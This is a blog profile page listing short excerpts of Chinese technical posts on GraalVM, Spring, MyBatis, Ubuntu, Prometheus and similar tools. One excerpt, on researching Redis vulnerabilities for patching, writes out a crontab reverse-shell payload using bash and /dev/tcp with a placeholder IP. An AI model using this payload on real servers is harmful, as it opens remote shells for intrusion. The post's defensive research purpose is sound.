- 博客(53)
- 收藏
- 关注
原创 graalvm native-image编译报错
D:\workspace-java\graalvm-test>native-image MainError: Image build request for 'main' (pid: 44964, path: D:\workspace-java\graalvm-test) failed with exit status 30
2024-03-07 11:28:32 463
原创 redis漏洞研究
目的: 修复生产的redis漏洞,主要是整数溢出漏洞,但是过程中发现还有反弹shell 漏洞(次要 ,毕竟需要密码)set x "\n* * * * * bash -i >& /dev/tcp/反弹的ip/7999 0>&1\n"这个乱码的引起到底是 centos?==》 crontab -e ==>==现在该 Redis Slave 就被转换为了新的 Redis Master。命令查看当前 Redis 实例的信息,确保已经成功变为了主节点。最后退出 Redis CLI,返回到原始的操作系统命令行界面。
2024-01-24 16:44:36 803
原创 prometheus +pushgatewa +grafana的安装部署与测试
和同时讨论 prometheus 是适合存储监控指标,不适合记录每一个记录, 他时候定时的记录监控目标的瞬间状态,但是 你要让他存储完整的记录 ,他有translog 吗,他的存储是通过拉取的方式 就不适合当做数据库取用!---------------------------------------------------完结撒花-------------------------------------------prometheus 主要功能是负责数据的手机存储, 手机的来源是各种exporter。
2023-02-22 10:53:49 528
原创 Failed to copy artifact or file with maven packaging a web application
Failed to copy artifact or file with maven packaging a web application手动删除target文件夹内容即可
2019-12-25 15:13:43 332
原创 webpack proxy invalid CORS
我之前的webpack的设置是module.exports = { dev: {// if you want dev by ip, please set host: '0.0.0.0' host: 'localhost', //如果 然后我用 127.0.0.1:9527页面显示接口不同 ,f12看了下 接口报错invalid CORS,...
2019-11-20 18:42:39 588
原创 spring websocket demo
此demo在google浏览器下测试通过 首先websocket 的支持要分两部分 框架的支持 针对 spring框架 代码的支持 含有3部分代码 nginx的配置文件也需要改造pom.xml调整<dependency> <groupId>org.springframework</groupId> <artifa...
2019-02-20 16:31:59 301
原创 windows ubuntu 双系统 重装windows后ubuntu启动项不见
重装win7用的老毛桃,把windows的系统盘格式化后,重新zhua装了win7系统。重启系统的时候发现,选择ubuntu和windows的选择项目不见了,参考网上的解决方式,用easybsd修改了启动项就解决了 1.easybcd 下载地址:http://www.onlinedown.net/soft/58174.htm2.运行easybcd3.添加Ubuntu引导...
2019-02-08 11:24:56 1341
原创 openjdk源码下载
近期由于要解决线上的kerberos认证问题需要查看rt.jar下的sub目录源码 ,但是官网一直不能下载,找了一圈发现github还有源码保存挺好的.链接如下https://github.com/frohoff/jdk8u-jdk/tree/master/src/windows/classes...
2018-09-13 08:56:16 1338
原创 spring security 多登陆入口实现方式 以及对spring security认证流程的理解
在需求上后台管理系统 需要有一个登陆页,同时手机端也允许普通用户登录。这个时候我设置两个http过滤器 <form-login login-page="/login.jsp" always-use-default-t
2015-08-17 14:47:02 5993 1
转载 css transition属性详解
transition 已经被越来越多的应用在了移动端的网页展示,一期能达到原生app的动画效果.比如这个屏幕的滑动.具体的属性详解可参考http://www.w3chtml.com/css3/properties/transition/transition.html四个属性:transition:[ transition-property ] || [ transition
2015-08-09 17:31:22 1340
原创 eclipse 中 properties 显示中文为\
在eclipse中安装插件地址http://propedit.sourceforge.jp/eclipse/updates/; 然后将文件以PropertiesEditor打开
2015-07-09 17:08:21 587
原创 树莓派用transmission搭建bt下载机
最近在树莓派上搭建Bt下载机,觉得 transmission不错,自己的开发机也可以安装transmission.Transmission 是个开源的小型BT下载客户端,能用命令行,桌面GUI和Web对任务进行管理。首先安装Transmission 的后台服务,apt-get install transmission-daemon(注意不是transmission要加-daemon)
2015-05-23 15:37:17 4622
原创 ubuntu /boot 空间显示不足
1.显示所有的内核版本dpkg --get-selections |grep linux-imagecolamachine@colamachine-Latitude-3330:/boot$ dpkg --get-selections |grep linux-imagelinux-image-3.13.0-32-generic installlinux-image-3.1
2015-05-08 09:14:47 428
原创 git操作指南
这里先把git常用的命令进行记录,等到以后再进行整理Q:push变更时候发现落后一个版本,那么怎么查看同步下来哪些内容A:git fetch 之后 git log -p master..orgin/master
2015-04-28 12:28:37 353
原创 当我们在用LoggerFactory.getLogger(xyz.class)时我们在干什么
我们在使用logback一类的logging system的时候总是在代码的前面部分放上这段代码private final Logger log = LoggerFactory.getLogger(AdController.class
2015-04-17 11:09:48 27549 2
转载 ubuntu 安装chrome
参考地址http://www.linuxidc.com/Linux/2014-04/100645p2.htm wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb sudo dpkg -i google-chrome-stable_current_amd64.deb
2015-04-08 17:59:40 498
原创 eclipse 配置tomcat ubuntu
下载tomcat插件www.eclipsetotale.com/tomcatPlugin.html放置到eclipse下dropins下载tomcattomcat.apache.org/download-70.cgi解压重启eclipse配置tomcat window-> preferences-> tomcat需要对现有工程
2015-04-03 16:02:34 516
原创 ubuntu下git的安装及使用
sudo apt-get install gitmkdir ~/gitcd ~/gitgit config --global user.name "xxxx"git config --global user.email "xxxx@xxx.com"配置sshcolamachine@ubuntu:~/git$ ssh-keygenGenerating public/private rsa key ...
2015-04-03 13:44:39 589
原创 ubuntu下eclipse安装
下载www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/luna/SR2/eclipse-java-luna-SR2-linux-gtk-x86_64.tar.gz&mirror_id=1174官网下载eclilpse下载的路径应该在/home/colamachine/Downl
2015-04-03 09:53:12 3071
原创 spring cas 配置小知识
spring security 配置cas 的时候 在serviceProperties里的renew参数 id="serviceProperties" class="org.springframework.security.cas.ServiceProperties"> name="service" value="https://localhost:8443
2015-03-04 16:42:40 1250
原创 mybatis如何加载mapper并解析的
昨天因为几个错误去debug了下mybatis的代码,有些心得。首先,因为mybatis和spring 进行了整合,用到了spring mybatis的整合jar包,让spring管理了mybatis的类的生命周期。ClassPathXmlApplicationContext 首先会对applicationContext进行解析 事先装载所需要的类DefaultListableBe
2014-03-04 15:08:41 9067
原创 探究mybatis 是如何加载配置文件的
首先我使用的是spring+mybatis的组合spring版本3.2.3.RELEASEmybatis版本3.2.2利用maven搭建的框架pom.xml文件如下:<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2014-03-04 09:13:42 3305
转载 解析UML类图符号
UML类图符号简介1.类(Class):使用三层矩形框表示。第一层显示类的名称,如果是抽象类,则就用斜体显示。第二层是字段和属性。第三层是类的方法。注意前面的符号,‘+’表示public,‘-’表示private,‘#’表示protected。2.接口:UML类图符号中接口使用两层矩形框表示,与类图的区别主要是顶端有>显示。第一行是接口名称。第二行是接口方法。3
2014-03-02 19:22:22 598
翻译 区域遮挡-视野
看起来有些问题得反反复复地解决,自动寻路是如此,另外一个是视野的计算。当你想知道光从A能否畅通无阻的传播到B点,你只要换一条A到B的直线,然后看看是否中间有阻碍物体。那么从A点发射出去的环绕中心360度的直线所能到达的点就形成了一块饼状的域,我们叫它视野Field of View.如果要精确的计算就需要无限条射线。所以你只能用一些最终导致降低精确度的办法:像素采样 格子 树形(像素和格子可以理
2013-12-11 23:24:51 2679
转载 设置firefox每次访问网页时检查所存网页的较新版本
我们做技术,经常在写页面的时候需要多次刷新测试,可是浏览器都有自己的缓存机制,一般CSS和图片都会被缓存在本地,这样我们修改的CSS就看不到效果了,每次都去清空缓存,再刷新看效果,这样操作太麻烦了。在IE下我们可以直接去修改internet选项,到internet临时文件选项的设置中,将检查网页中的较新版本改成每次访问此页时检查。这样我们就不用去清空缓存,每次刷新都能看到最新的网页内容
2013-12-10 12:35:15 2220
原创 java oracle 插入date字段
DataAccessUtil dau =new DataAccessUtil(); String sql = "UPDATE BPM_WORKLIST SET STATUS ='COMPLETED' , ENDDATE=to_date(?,'yyyy-MM-dd hh24:mi:ss' ) WHERE TASKID=? " ;
2013-11-12 15:49:15 1236
原创 代码要求
建议所有的buttonsControl 都写在一个函数体里,这样方便维护,其他函数里对按钮的操作也要单独治成一个函数来,或者在buttonsControl里加参数使用 例如buttonsControl(0)buttonsControl(1)这样使用 写名逻辑业务关系,考虑到按钮一直是业务的重头戏
2013-11-06 09:56:05 477
原创 对下拉可选框的总结
最近的项目里用了自己做的下拉可选矿 中间有部分是级联查询的 代码还有优化的空间 只是将代码摘抄出来 未来得及整理//获得对象的位置信息function getInfo(o){ var to=new Object(); to.left=to.right=to.top=to.bottom=0; var twidth=o.offsetWidt
2013-11-06 08:21:42 537
原创 怪物行动手册 the rule of monster
2013 10 27 pm 14:57 @kfc 吴山关于怪物的行动策略 +++ 怪物 找人 搜索到视野范围内 移动路径内最短的人 如果找不到路径 首先选择人其次选择通往人的路径再其次找寻建筑再其次找寻通往建筑的路径方案2 最简单方案 +找寻最近的可以攻击的建筑和人这个时候可以进行消息传递机制 怪物以可以将自己的目标呼叫给身边的怪物,
2013-11-02 13:00:06 584
原创 写在加班的时候
最近在维护一些老代码,一个功能优化就修改了80多处的代码。以前自己写代码时候觉得将一个功能尽量放在一个package下挺好的,现在觉得更加强烈了,对这些零星分布的代码已经不是吐槽能所表达了,但是事情还是要做的。只能辛苦自己和测试了。想想看一个代码,如果连自己都没有写到尽量通俗易懂的话会给之后维护的人造成多大的麻烦,可是在现在这个行业里,人们东奔西跑,为了更好的待遇无可置疑,如果自己写的代码都能
2013-10-30 20:27:41 476
原创 将日期转换成中文 标准日期格式2013-10-11
/** * 日期转换成中文服务类 * @author zhangzw *2013-04-11 */public class DateToUpperChinese { private static final String[] NUMBERS = { "O", "一", "二", "三", "四", "五", "六", "七", "八"
2013-10-30 20:18:02 1021
原创 oracle 得到连续不重复的数字序列
最近的一个客户的需求实在变态至极。需要取一个系统编号的字符串,串由3部分组成,前两个是汉字的拼音缩写,基本不难。最后一部分是一个4位数的纯数字从0001~9999,每次插入一条数据都要判断从0001开始到9999之间,第一个不存在的数字,已达到数字编号即不重复,有竟可能的连续,(如果没有删除的话每次只要取max+1即可,但是考考虑到可能中间有删除的,就存在了断档,那么最新插入的数据必须
2013-08-25 14:05:30 2807
原创 为什么要 Class.forName( driverClass );
以前做jdbc的连接的时候都提前一部使用 Class.forName( 来加载对应的数据库驱动包。Class.forName("oracle.jdbc.driver.OracleDriver");以下的代码是正确的jdbc连接,之后的实验都以此为对照。package test;import java.sql.Connection;import java.sql.DriverM
2013-08-09 11:29:22 2989
转载 Java String对象的经典问题(new String())
先来看一个例子,代码如下:Java代码 public class Test { public static void main(String[] args) { String str = "abc"; String str1 = "abc"; String str2 = new String("abc");
2013-08-08 17:38:22 430
原创 c3p0学习之工厂类 com.mchange.v2.c3p0.DataSources
版本:c3p0-0.9.2.1代码长度:382官方文档出处:http://www.mchange.com/projects/c3p0/ useing the datasources factory class我们先从一个简单的例子来了解这个类DataSource ds_unpooled = DataSources.unpooledDataSource("jdbc:
2013-08-08 17:37:36 4548
空空如也
域名换dns解析商带来的思考
2023-05-31
TA创建的收藏夹 TA关注的收藏夹
TA关注的人